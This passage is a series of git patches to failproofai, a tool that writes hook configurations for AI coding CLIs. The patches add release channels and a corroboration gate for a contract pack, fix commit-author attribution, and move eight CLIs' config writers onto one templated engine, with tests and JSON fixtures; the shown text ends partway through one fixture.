+ * + * `stable` is what every client machine uses. It resolves to the newest + * PROMOTED pack: the lab's unattended pushes cut prereleases, and GitHub's + * `latest` skips those, so a pack built from a bad lab run cannot become the + * one customers fetch. It answers 404 until the first promotion, and that is + * the correct answer — no reviewed contract exists yet, and treating "nothing + * published" as "nothing to say" is right. + * + * `internal` is our own machines, which take the risk first. It reads the + * branch directly rather than the newest prerelease, because "the latest + * prerelease" has no constructible URL — only an API query, which is exactly + * the discovery step the stable path is designed to avoid. The branch is + * always the newest internal pack by definition. */ -const DEFAULT_PACK_URL = ""; +const CHANNEL_URLS: Readonly> = { + stable: "https://github.com/FailproofAI/hook-contracts/releases/latest/download/pack.json", + internal: "https://raw.githubusercontent.com/FailproofAI/hook-contracts/packs/pack.json", +}; /** One bound for the whole fetch. A pack is tens of kilobytes. */ const FETCH_TIMEOUT_MS = 20_000; @@ -51,8 +63,21 @@ export type PackFetchOutcome = | { status: "skipped"; reason: string } | { status: "failed"; reason: string }; +/** + * Which pack this machine follows. + * + * An unknown channel name falls back to `stable` rather than failing: getting + * this wrong must never be a way to end up on the unreviewed channel by + * accident. + */ +export function packChannel(): string { + const named = (process.env.FAILPROOFAI_CONTRACTS_CHANNEL || "").trim(); + return named in CHANNEL_URLS ? named : "stable"; +} + export function packUrl(): string { - return (process.env.FAILPROOFAI_CONTRACTS_URL || DEFAULT_PACK_URL).trim(); + const override = (process.env.FAILPROOFAI_CONTRACTS_URL || "").trim(); + return override || CHANNEL_URLS[packChannel()]; } /** diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts index 587585640..aec9a43aa 100644 --- a/src/hooks/doctor-cli.ts +++ b/src/hooks/doctor-cli.ts @@ -38,6 +38,7 @@ import { repairConfigDrift, type RepairOutcome } from "./config-repair"; import { getHookActivityPage, getHookActivityPageCount } from "./hook-activity-store"; import { compareContractTable, type ContractComparison, type ContractFinding } from "./contract-compare"; import { readCachedPack, refreshContractPack } from "./contract-pack-client"; +import { corroborateContractPack } from "./contract-corroborate"; import { contractTableFile } from "./fp-home"; import type { HookScope } from "./types"; @@ -127,6 +128,8 @@ interface DoctorOptions { recentProjects: boolean; /** Fetch the lab's pack before answering. Consumed by the async front door. */ refresh: boolean; + /** Answer only "does this machine agree with the lab's pack?" and nothing else. */ + corroborate: boolean; } function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { @@ -138,6 +141,7 @@ function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { scheduled: false, recentProjects: true, refresh: false, + corroborate: false, }; for (const arg of argv) { if (arg === "--fix") opts.fix = true; @@ -148,6 +152,7 @@ function parseArgs(argv: readonly string[]): DoctorOptions | { error: string } { // Handled by runDoctorCommandAsync before the sync pass; accepted here so // the argument parser does not reject it. else if (arg === "--refresh") opts.refresh = true; + else if (arg === "--corroborate") opts.corroborate = true; else if (arg === "--user") { opts.scopes = ["user"]; opts.recentProjects = false; @@ -508,6 +513,59 @@ function renderLab(fromLab: readonly ContractComparison[], opts: DoctorOptions): return lines; } +/** + * "Does this machine agree with what the lab measured?" + * + * A separate answer with a separate exit code, because it drives a different + * decision from everything else here: whether an internal pack is promoted to + * every customer machine. Sharing doctor's output would bury a one-line verdict + * under a config report that has nothing to do with it. + * + * Exit codes follow the same contract as the rest of the command: + * 0 corroborated — an independent machine saw the same thing + * 1 contradicted — the two disagree; something measured wrong + * 2 no overlap — nothing comparable, so nothing was learned + * + * 2 rather than 0 for no-overlap is the whole point. Promotion must require + * evidence, and a machine that could not check has not supplied any. + */ +function runCorroborate(): DoctorResult { + const pack = readCachedPack(); + if (!pack) { + return { lines: ["No pack to check against — nothing has been published, or the fetch failed."], exitCode: 2 }; + } + let local: unknown; + try { + local = JSON.parse(readFileSync(contractTableFile(), "utf8")); + } catch { + return { lines: ["This machine has no observations yet, so it cannot corroborate anything."], exitCode: 2 }; + } + + const result = corroborateContractPack(pack, local); + const lines: string[] = []; + switch (result.verdict) { + case "corroborated": + lines.push(`corroborated: ${result.agreed} shape(s) across ${result.comparedClis.join(", ")} match what the lab recorded`); + break; + case "contradicted": + lines.push(`contradicted: this machine and the lab do not agree`); + for (const d of result.disagreements) lines.push(` ${d.detail}`); + break; + default: + lines.push("no overlap: nothing on this machine was comparable to the pack"); + break; + } + // Always say what was skipped and why. A verdict of "no overlap" is useless + // without it, and it is the line that tells you the machine is running a + // different CLI version from the one the lab drove. + for (const s of result.skipped) lines.push(` skipped ${s.cli}: ${s.reason}`); + + return { + lines, + exitCode: result.verdict === "corroborated" ? 0 : result.verdict === "contradicted" ? 1 : 2, + }; +} + /** * The async front door. * @@ -519,12 +577,16 @@ function renderLab(fromLab: readonly ContractComparison[], opts: DoctorOptions): export async function runDoctorCommandAsync(argv: readonly string[] = []): Promise { // Only on the paths that asked for it: the scheduled lane, or an explicit // --refresh. An interactive `doctor` must never wait on the network. - if (argv.includes("--scheduled") || argv.includes("--refresh")) { + const corroborate = argv.includes("--corroborate"); + if (corroborate || argv.includes("--scheduled") || argv.includes("--refresh")) { try { - await refreshContractPack({ force: argv.includes("--refresh") }); + await refreshContractPack({ force: corroborate || argv.includes("--refresh") }); } catch { // A pack is extra information; failing to get one changes no answer. } } + // Deliberately not folded into the report: it answers a different question, + // for a different reader, with a different exit code. + if (corroborate) return runCorroborate(); return runDoctorCommand(argv); } From d80aa6df27760a68152f6b5980560ba41e550160 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 15:07:16 +0530 Subject: [PATCH 11/18] Commit the pack as the account it should credit MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit GitHub maps a commit to an account by EMAIL, so the address a publisher uses is not cosmetic. `internal@exosphere.host` — the address this reached for — belongs to an account called `internal-cpu`, and it credited that account for work it did not do, silently, because the commits themselves look perfectly normal. The default is now a `users.noreply` address, which cannot be unlinked from its account and exposes nothing, and both fields are overridable so a deployment can publish under a dedicated bot instead. A test rejects any shared-domain address: on this org they resolve to other people's accounts. --- .../integration-suite/contracts-lab.test.ts | 17 +++++++++++++++++ integration-suite/contracts-publish.sh | 19 ++++++++++++++----- 2 files changed, 31 insertions(+), 5 deletions(-) diff --git a/__tests__/integration-suite/contracts-lab.test.ts b/__tests__/integration-suite/contracts-lab.test.ts index 39781826e..530a3326a 100644 --- a/__tests__/integration-suite/contracts-lab.test.ts +++ b/__tests__/integration-suite/contracts-lab.test.ts @@ -183,6 +183,23 @@ describe("publishing", () => { expect(promoteSh).not.toMatch(/\/merge|gh pr merge/); }); + it("commits as an address that belongs to the account it should credit", () => { + // GitHub maps a commit to an account by EMAIL, and getting this wrong is + // silent: the commit looks perfectly normal while crediting somebody else + // for every pack the lab ever publishes. It happened — `internal@exosphere + // .host` belongs to an account called `internal-cpu`, and four commits went + // out under it before anyone noticed. + // + // `users.noreply` is the safe default: it cannot be unlinked from the + // account and exposes no real address. + const email = /GIT_EMAIL="\$\{CONTRACTS_GIT_EMAIL:-([^}]+)\}"/.exec(publishSh); + expect(email).not.toBeNull(); + expect(email![1]).toMatch(/@users\.noreply\.github\.com$/); + // No shared-domain address anywhere in it: on this org those map to other + // people's accounts (nivedit@ -> NiveditJain, internal@ -> internal-cpu). + expect(publishSh).not.toMatch(/@exosphere\.host/); + }); + it("keeps the token out of everything it prints", () => { // The token is embedded in the remote URL, so no message may echo it. expect(publishSh).toMatch(/x-access-token:\$\{TOKEN\}/); diff --git a/integration-suite/contracts-publish.sh b/integration-suite/contracts-publish.sh index 25a8b7108..4b8b786c6 100755 --- a/integration-suite/contracts-publish.sh +++ b/integration-suite/contracts-publish.sh @@ -29,6 +29,18 @@ PACK="${1:?usage: contracts-publish.sh }" REPO="${CONTRACTS_REPO:?CONTRACTS_REPO (owner/name) required}" TOKEN="${CONTRACTS_TOKEN:?CONTRACTS_TOKEN required}" BRANCH="${CONTRACTS_BRANCH:-packs}" + +# Who the publish commits are attributed to. +# +# GitHub maps a commit to an account by EMAIL, so this is not cosmetic: an +# address that belongs to somebody else's account silently credits them for +# every pack this ever publishes, and the commit itself looks perfectly normal +# while doing it. Overridable because the right answer differs per deployment — +# a dedicated bot account is the cleaner long-term identity for an automated +# publisher, and a `users.noreply` address is the safe default because it cannot +# be unlinked and exposes no real address. +GIT_NAME="${CONTRACTS_GIT_NAME:-Chetan Raghuvanshi}" +GIT_EMAIL="${CONTRACTS_GIT_EMAIL:-145042127+chhhee10@users.noreply.github.com}" [ -s "$PACK" ] || { echo "✗ no pack at $PACK" >&2; exit 2; } WORK="$(mktemp -d)" @@ -66,11 +78,8 @@ if [ "$changed" = 0 ]; then fi cp "$PACK" "$DEST" -git -C "$WORK/repo" -c user.name="failproofai contracts lab" \ - -c user.email="contracts@failproof.ai" \ - add pack.json -git -C "$WORK/repo" -c user.name="failproofai contracts lab" \ - -c user.email="contracts@failproof.ai" \ +git -C "$WORK/repo" add pack.json +git -C "$WORK/repo" -c user.name="$GIT_NAME" -c user.email="$GIT_EMAIL" \ commit -q -m "Contracts: $(date -u +%Y-%m-%d) — a vendor's hook contract moved" \ || { echo "contracts: git found nothing to commit"; exit 0; } From 59baf324a483adb90863394cdf71955bfd6644f7 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 15:19:27 +0530 Subject: [PATCH 12/18] Refuse to corroborate a pack we could not fetch MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Found by running it rather than by reading it. On the stable channel — whose asset 404s until the first promotion — `doctor --corroborate` reported agreement, against a pack left in the cache by an earlier run on the INTERNAL channel. It was corroborating data from a different channel and a different day, and saying so in the same words it uses when it really checked. The cache outlives a failed refresh and outlives a change of channel, both by design: for the doctor report a stale pack is still useful information. For the promotion gate it is the opposite, because the pull request that follows is built from the branch as it is NOW — so agreeing with yesterday's copy is agreeing with the wrong thing, and a GitHub blip was enough to do it. A forced refresh that does not succeed is now exit 2 with the reason, which is the rule the rest of the gate already follows: not knowing is not evidence. The tests for this mode now SERVE the pack over a socket instead of seeding the cache, because seeding it tests a path the gate no longer takes. --- CHANGELOG.md | 2 + __tests__/hooks/doctor-cli.test.ts | 65 ++++++++++++++++++++++-------- src/hooks/doctor-cli.ts | 30 +++++++++++--- 3 files changed, 74 insertions(+), 23 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index be4e0263a..fc3e30b2a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -72,6 +72,8 @@ This is shaped by the org ruleset rather than around it. `failproofai-rules` requires a reviewed pull request on every default branch with no bypass actors, which means an unattended lab simply cannot push to `main` — and turning a daily data update into a daily review request would stop it being unattended. So the rule that blocks the lab is the same rule that makes promotion a human decision, reading a diff of the vendor's own key names. +- Refuse to corroborate a pack that could not be fetched, rather than falling back on the cached one. Found by running it: on the stable channel, whose asset 404s until the first promotion, `--corroborate` reported agreement — against a pack left in the cache by an earlier run on the *internal* channel. The cache outlives both a failed refresh and a change of channel, so a GitHub blip or a channel switch could pass the gate on data nobody confirmed was current, while the pull request it opens is built from the branch as it is now. A forced refresh that does not succeed is now exit 2 with the reason, which is the same rule the rest of the gate follows: not knowing is not evidence. (#PR) + - Gate that promotion on a second, independent measurement: `contract-corroborate.ts` and `failproofai doctor --corroborate`. The lab drives each CLI once, in a container, and a run that went subtly wrong looks exactly like one that did not. Before a pack reaches every customer, a machine that runs those CLIs for real is asked whether it saw the same thing; `contracts-promote.sh` opens the pull request only when it did. Two decisions keep it from being either useless or decorative. It compares **findings**, not raw keys — a local table is a union accumulated over weeks and legitimately holds optional keys one lab run never saw, so demanding key-for-key equality would mean nothing ever promotes; comparing findings means two sources agree exactly when they would cause the same action. And a **version mismatch is skipped, not failed**: if the lab drove goose 1.44 and the machine runs 1.43, the difference IS the vendor moving, which is the thing being reported — comparing across versions would block precisely the promotions that matter most. Nothing comparable exits `2`, never `0`, because promotion must require evidence and "could not check" is not evidence. diff --git a/__tests__/hooks/doctor-cli.test.ts b/__tests__/hooks/doctor-cli.test.ts index e5681e083..cb21294c5 100644 --- a/__tests__/hooks/doctor-cli.test.ts +++ b/__tests__/hooks/doctor-cli.test.ts @@ -8,6 +8,7 @@ */ import { describe, it, expect, beforeEach, afterEach } from "vitest"; import { mkdtempSync, rmSync, readFileSync, writeFileSync, mkdirSync } from "node:fs"; +import { createServer, type Server } from "node:http"; import { tmpdir } from "node:os"; import { join } from "node:path"; import { runDoctorCommand, runDoctorCommandAsync } from "../../src/hooks/doctor-cli"; @@ -442,28 +443,46 @@ describe("doctor: what the lab saw that this machine has not", () => { }); describe("doctor --corroborate: the promotion gate", () => { - // --corroborate forces a pack refresh, and a unit test must never depend on - // the network — nor quietly reach the real published pack and assert against - // whatever a vendor shipped this week. This exercises exactly the seeded - // files, which is what the escape hatch is for. - beforeEach(() => { - process.env.FAILPROOFAI_NO_DOWNLOAD = "1"; + // The pack is SERVED, not seeded on disk. --corroborate now refuses to judge + // a pack it could not fetch, because the cache survives both a failed refresh + // and a change of channel — so a machine that once looked at the internal + // pack would otherwise keep corroborating against it forever. Writing the + // fixture straight into the cache would test a path the gate no longer takes. + let server: Server; + let respond: (send: (status: number, body: string) => void) => void; + + beforeEach(async () => { + respond = (send) => send(404, "not found"); + server = createServer((_req, res) => { + respond((status, body) => { + res.writeHead(status, { "content-type": "application/json" }); + res.end(body); + }); + }); + await new Promise((r) => server.listen(0, "127.0.0.1", r)); + const addr = server.address(); + const port = typeof addr === "object" && addr ? addr.port : 0; + process.env.FAILPROOFAI_CONTRACTS_URL = `http://127.0.0.1:${port}/pack.json`; }); - afterEach(() => { - delete process.env.FAILPROOFAI_NO_DOWNLOAD; + + afterEach(async () => { + delete process.env.FAILPROOFAI_CONTRACTS_URL; + await new Promise((r) => server.close(() => r())); }); - function seed(pack: unknown, local: unknown): void { - mkdirSync(join(home, "contracts"), { recursive: true }); - writeFileSync(join(home, "contracts", "pack.json"), JSON.stringify(pack)); - writeFileSync(join(home, "contracts", "observed.json"), JSON.stringify(local)); - } const goose = (version: string, keys: string[]) => ({ clis: { goose: { version, hooks: { PreToolUse: { envelope: [], tools: { write: keys } } } }, }, }); + /** The lab's pack comes over the wire; this machine's observations from disk. */ + function seed(pack: unknown, local: unknown): void { + respond = (send) => send(200, JSON.stringify(pack)); + mkdirSync(join(home, "contracts"), { recursive: true }); + writeFileSync(join(home, "contracts", "observed.json"), JSON.stringify(local)); + } + it("exits 0 when this machine saw what the lab saw", async () => { seed(goose("1.43.0", ["content", "path"]), goose("1.43.0", ["content", "path"])); const r = await runDoctorCommandAsync(["--corroborate"]); @@ -490,10 +509,22 @@ describe("doctor --corroborate: the promotion gate", () => { expect(text(r)).toContain("lab drove 1.44.0"); }); - it("exits 2 when there is no pack, or no observations", async () => { - expect((await runDoctorCommandAsync(["--corroborate"])).exitCode).toBe(2); - mkdirSync(join(home, "contracts"), { recursive: true }); - writeFileSync(join(home, "contracts", "pack.json"), JSON.stringify(goose("1.43.0", ["path"]))); + it("refuses to judge a pack it could not fetch, even with one cached", async () => { + // The failure this exists for: the cache outlives a failed refresh AND a + // change of channel, so without this a GitHub blip lets the gate pass on + // yesterday's copy — while the pull request it opens is built from the + // branch as it is now. + seed(goose("1.43.0", ["content", "path"]), goose("1.43.0", ["content", "path"])); + expect((await runDoctorCommandAsync(["--corroborate"])).exitCode).toBe(0); + + respond = (send) => send(503, "down"); + const r = await runDoctorCommandAsync(["--corroborate"]); + expect(r.exitCode).toBe(2); + expect(text(r)).toContain("refusing to judge a stale one"); + }); + + it("exits 2 when this machine has no observations of its own", async () => { + respond = (send) => send(200, JSON.stringify(goose("1.43.0", ["content", "path"]))); const r = await runDoctorCommandAsync(["--corroborate"]); expect(r.exitCode).toBe(2); expect(text(r)).toContain("cannot corroborate"); diff --git a/src/hooks/doctor-cli.ts b/src/hooks/doctor-cli.ts index aec9a43aa..99cf75250 100644 --- a/src/hooks/doctor-cli.ts +++ b/src/hooks/doctor-cli.ts @@ -37,7 +37,11 @@ import { detectConfigDrift, driftFindings, type ConfigDriftReport } from "./conf import { repairConfigDrift, type RepairOutcome } from "./config-repair"; import { getHookActivityPage, getHookActivityPageCount } from "./hook-activity-store"; import { compareContractTable, type ContractComparison, type ContractFinding } from "./contract-compare"; -import { readCachedPack, refreshContractPack } from "./contract-pack-client"; +import { + readCachedPack, + refreshContractPack, + type PackFetchOutcome, +} from "./contract-pack-client"; import { corroborateContractPack } from "./contract-corroborate"; import { contractTableFile } from "./fp-home"; import type { HookScope } from "./types"; @@ -529,7 +533,17 @@ function renderLab(fromLab: readonly ContractComparison[], opts: DoctorOptions): * 2 rather than 0 for no-overlap is the whole point. Promotion must require * evidence, and a machine that could not check has not supplied any. */ -function runCorroborate(): DoctorResult { +function runCorroborate(fetched: PackFetchOutcome): DoctorResult { + // A stale pack is not evidence. The cache survives a failed refresh — and + // survives a CHANGE OF CHANNEL — so without this a machine that once looked + // at the internal pack keeps corroborating against it forever, and a GitHub + // blip lets the gate pass on data nobody confirmed is current. The pull + // request this opens is built from the branch as it is NOW, so agreeing with + // yesterday's copy is agreeing with the wrong thing. + if (fetched.status !== "fetched") { + const why = "reason" in fetched ? fetched.reason : fetched.status; + return { lines: [`Could not fetch the current pack (${why}) — refusing to judge a stale one.`], exitCode: 2 }; + } const pack = readCachedPack(); if (!pack) { return { lines: ["No pack to check against — nothing has been published, or the fetch failed."], exitCode: 2 }; @@ -578,15 +592,19 @@ export async function runDoctorCommandAsync(argv: readonly string[] = []): Promi // Only on the paths that asked for it: the scheduled lane, or an explicit // --refresh. An interactive `doctor` must never wait on the network. const corroborate = argv.includes("--corroborate"); + let fetched: PackFetchOutcome = { status: "skipped", reason: "not requested" }; if (corroborate || argv.includes("--scheduled") || argv.includes("--refresh")) { try { - await refreshContractPack({ force: corroborate || argv.includes("--refresh") }); - } catch { - // A pack is extra information; failing to get one changes no answer. + fetched = await refreshContractPack({ force: corroborate || argv.includes("--refresh") }); + } catch (err) { + // For the report a pack is extra information, so a failure changes no + // answer. For the gate below it changes everything, which is why the + // outcome is carried rather than discarded. + fetched = { status: "failed", reason: err instanceof Error ? err.message : "fetch threw" }; } } // Deliberately not folded into the report: it answers a different question, // for a different reader, with a different exit code. - if (corroborate) return runCorroborate(); + if (corroborate) return runCorroborate(fetched); return runDoctorCommand(argv); } From 072cd74fc944f86e7bb66e5511cfbfd5bba5f859 Mon Sep 17 00:00:00 2001 From: chhhee10 Date: Tue, 18 Aug 2026 17:26:52 +0530 Subject: [PATCH 13/18] Write eight CLIs' hook configs from one templated engine MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `config-template.ts` holds what each vendor's file looks like as data — container key, event names, group shape, matcher, timeout field, command field, marker — and `config-render.ts` turns one into the file. integrations.ts loses 244 lines and, more to the point, seven duplicate implementations of the merge, which is the part with teeth. THE COMMAND IS BUILT BY THE RENDERER AND CAN NEVER COME FROM THE TEMPLATE. That field is what runs on the machine, on every tool call, before the tool runs; a template able to set it would be arbitrary code execution everywhere one is read. validateTemplate() rejects any string that could be executed — carrying arguments, naming a path, reading as a flag — and it is a checked boundary from the first commit, because one added later was absent for every release before it. The rule is structural, not a word list: an earlier version matched "failproofai" and rejected Antigravity's own container key, which is literally that. Correctness is established against the previous implementation rather than argued. Seventeen fixtures were captured off the old writers BEFORE anything was touched, each holding three scenarios, because rendering into an empty object proves only that entries are built right and says nothing about the merge: a fresh install, another tool's hook plus unrelated settings that must survive, and our own entry on an event we no longer install. 95 assertions pass, including that writing twice changes nothing — which is what makes repair safe to run on a schedule. ONE BEHAVIOUR DELIBERATELY CHANGED, and it fixes a latent bug in seven integrations. Only Claude pruned our entry from events it no longer installs; the other seven left it in the user's file forever, where reinstalling could not clear it — the situation a removed Claude event once created, leaving a registered hook that broke a flag until somebody hand-edited the file. Consolidating gives every CLI that behaviour, asserted per CLI so it is a named decision rather than a side effect. A smaller second one: the engine coerces a wrongly-typed container instead of accepting it, so the catastrophic-and- permanent version of the copilot 1.0.71 bug cannot occur for these eight at all. What did not change is as deliberate. It still throws when an event we install holds something that is not a list, because silently replacing it would destroy another tool's config — that surfaces as `unreadable` and repair declines the file — while a value on an event we do NOT install is left exactly as found, since throwing there would let an unrelated key abort an install. removeHooksFromFile and hooksInstalledInSettings stay hand-written: they must recognise our entries in OLD shapes to clean them up, and a format change would otherwise orphan every file written before it. opencode, pi, openclaw and hermes are untouched — the first three register a path rather than a hook list, and hermes is YAML with comment preservation. --- CHANGELOG.md | 10 + .../config-templates/antigravity-project.json | 169 +++ .../config-templates/antigravity-user.json | 169 +++ .../config-templates/claude-local.json | 1037 +++++++++++++++++ .../config-templates/claude-project.json | 1037 +++++++++++++++++ .../config-templates/claude-user.json | 1037 +++++++++++++++++ .../config-templates/codex-project.json | 401 +++++++ .../fixtures/config-templates/codex-user.json | 401 +++++++ .../config-templates/copilot-project.json | 514 ++++++++ .../config-templates/copilot-user.json | 514 ++++++++ .../config-templates/cursor-project.json | 204 ++++ .../config-templates/cursor-user.json | 204 ++++ .../config-templates/devin-project.json | 293 +++++ .../fixtures/config-templates/devin-user.json | 293 +++++ .../config-templates/factory-project.json | 365 ++++++ .../config-templates/factory-user.json | 365 ++++++ .../config-templates/goose-project.json | 188 +++ .../fixtures/config-templates/goose-user.json | 188 +++ __tests__/hooks/config-render.test.ts | 182 +++ .../hooks/reset-mistyped-containers.test.ts | 33 +- src/hooks/config-render.ts | 235 ++++ src/hooks/config-template.ts | 282 +++++ src/hooks/integrations.ts | 408 ++----- 23 files changed, 8188 insertions(+), 341 deletions(-) create mode 100644 __tests__/fixtures/config-templates/antigravity-project.json create mode 100644 __tests__/fixtures/config-templates/antigravity-user.json create mode 100644 __tests__/fixtures/config-templates/claude-local.json create mode 100644 __tests__/fixtures/config-templates/claude-project.json create mode 100644 __tests__/fixtures/config-templates/claude-user.json create mode 100644 __tests__/fixtures/config-templates/codex-project.json create mode 100644 __tests__/fixtures/config-templates/codex-user.json create mode 100644 __tests__/fixtures/config-templates/copilot-project.json create mode 100644 __tests__/fixtures/config-templates/copilot-user.json create mode 100644 __tests__/fixtures/config-templates/cursor-project.json create mode 100644 __tests__/fixtures/config-templates/cursor-user.json create mode 100644 __tests__/fixtures/config-templates/devin-project.json create mode 100644 __tests__/fixtures/config-templates/devin-user.json create mode 100644 __tests__/fixtures/config-templates/factory-project.json create mode 100644 __tests__/fixtures/config-templates/factory-user.json create mode 100644 __tests__/fixtures/config-templates/goose-project.json create mode 100644 __tests__/fixtures/config-templates/goose-user.json create mode 100644 __tests__/hooks/config-render.test.ts create mode 100644 src/hooks/config-render.ts create mode 100644 src/hooks/config-template.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index fc3e30b2a..45d8ec86e 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -78,6 +78,16 @@ Two decisions keep it from being either useless or decorative. It compares **findings**, not raw keys — a local table is a union accumulated over weeks and legitimately holds optional keys one lab run never saw, so demanding key-for-key equality would mean nothing ever promotes; comparing findings means two sources agree exactly when they would cause the same action. And a **version mismatch is skipped, not failed**: if the lab drove goose 1.44 and the machine runs 1.43, the difference IS the vendor moving, which is the thing being reported — comparing across versions would block precisely the promotions that matter most. Nothing comparable exits `2`, never `0`, because promotion must require evidence and "could not check" is not evidence. +- Write eight CLIs' hook configs from one templated engine instead of eight hand-written copies. `config-template.ts` holds what each vendor's file looks like as data — container key, event names, group shape, matcher, timeout field, command field, marker — and `config-render.ts` turns one of those into the file. `integrations.ts` loses 244 lines and, more to the point, seven duplicate implementations of the merge, which is the part with teeth. + + **The command is built by the renderer and can never come from the template.** That field is what runs on the machine, on every tool call, before the tool runs; a template able to set it would be arbitrary code execution on every machine that reads one. `validateTemplate()` therefore rejects any string that could be executed — carrying arguments, naming a path, or reading as a flag — and it is a checked boundary from the first commit rather than a convention, because one added later was absent for every release before it. The rule is about structure, not vocabulary: an earlier version matched the word "failproofai" and rejected Antigravity's own container key, which is literally that. + + Correctness is established against the previous implementation rather than argued. Seventeen fixtures — 8 CLIs × their scopes — were captured off the old writers **before anything was touched**, each holding three scenarios, because rendering into an empty object proves only that entries are built right and says nothing about the merge: a fresh install, another tool's hook plus unrelated settings that must survive, and our own entry on an event we no longer install. All 95 assertions pass, including that writing twice changes nothing, which is what makes repair safe to run on a schedule. + + **One behaviour deliberately changed, and it fixes a latent bug in seven integrations.** Only Claude pruned our entry from events it no longer installs; the other seven left it in the user's file forever, where reinstalling could not clear it — the situation a removed Claude event once created, leaving a registered hook that broke `claude --worktree` until somebody hand-edited the file. Consolidating gives every CLI that behaviour, and a test asserts it per CLI so it is a named decision rather than a side effect. A second, smaller one: the engine coerces a wrongly-typed container instead of accepting it, so the catastrophic-and-permanent version of the copilot 1.0.71 bug cannot occur for these eight at all. + + What did NOT change is as deliberate. The engine still throws when an event we install holds something that is not a list — silently replacing it would destroy another tool's config, so it surfaces as `unreadable` and repair declines to touch the file — while a value on an event we do NOT install is left exactly as found, since throwing there would let an unrelated key abort an install. `removeHooksFromFile` and `hooksInstalledInSettings` stay hand-written on purpose: they must recognise our entries in OLD shapes to clean them up, and a format change would otherwise orphan every file written before it. opencode, pi, openclaw and hermes are untouched — the first three register a path rather than a hook list, and hermes is YAML with comment preservation. (#PR) + ### Fixes - **Reinstalling could not recover a config whose container type a vendor changed** — the bug that makes the drift class above permanent rather than merely bad. Every `writeHookEntries` reaches for its container with `??=`, which accepts whatever is already there: copilot's `settings.hooks ??= {}` keeps a pre-existing **array**, the following `hooks["PreToolUse"] = …` sets a non-index property, `JSON.stringify` drops it, and the file written back is byte-identical to the broken one. A user could run `policies --install` forever, stay completely unenforced, and see success reported every time. `resetMistypedContainers` learns the expected type by running the writer against an empty object — no table to maintain, so it cannot go stale — and is asserted to be a no-op for every integration on a config that integration just wrote, which is the invariant that makes it safe on every install. Settings writes are now atomic (temp file plus rename, preserving mode), so a crash mid-write can no longer leave a truncated config that no CLI will load. (#PR) diff --git a/__tests__/fixtures/config-templates/antigravity-project.json b/__tests__/fixtures/config-templates/antigravity-project.json new file mode 100644 index 000000000..30d484af2 --- /dev/null +++ b/__tests__/fixtures/config-templates/antigravity-project.json @@ -0,0 +1,169 @@ +{ + "cli": "antigravity", + "scope": "project", + "binary": "/usr/bin/failproofai", + "empty": { + "failproofai": { + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreInvocation": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreInvocation --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "Stop": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + }, + "foreign": { + "failproofai": { + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + }, + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "somebody-elses-tool --do-a-thing", + "timeout": 30 + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreInvocation": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreInvocation --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "Stop": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + }, + "somebodyElsesSetting": { + "keep": "me" + } + }, + "stale": { + "failproofai": { + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PostToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreInvocation": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreInvocation --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "Stop": [ + { + "type": "command", + "command": "npx -y failproofai --hook Stop --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ], + "AnEventWeNoLongerInstall": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "npx -y failproofai --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ] + } + } +} diff --git a/__tests__/fixtures/config-templates/antigravity-user.json b/__tests__/fixtures/config-templates/antigravity-user.json new file mode 100644 index 000000000..231299f1d --- /dev/null +++ b/__tests__/fixtures/config-templates/antigravity-user.json @@ -0,0 +1,169 @@ +{ + "cli": "antigravity", + "scope": "user", + "binary": "/usr/bin/failproofai", + "empty": { + "failproofai": { + "PreToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PreToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PostToolUse": [ + { + "matcher": "*", + "hooks": [ + { + "type": "command", + "command": "\"/usr/bin/failproofai\" --hook PostToolUse --cli antigravity", + "timeout": 30, + "__failproofai_hook__": true + } + ] + } + ], + "PreInvocation": 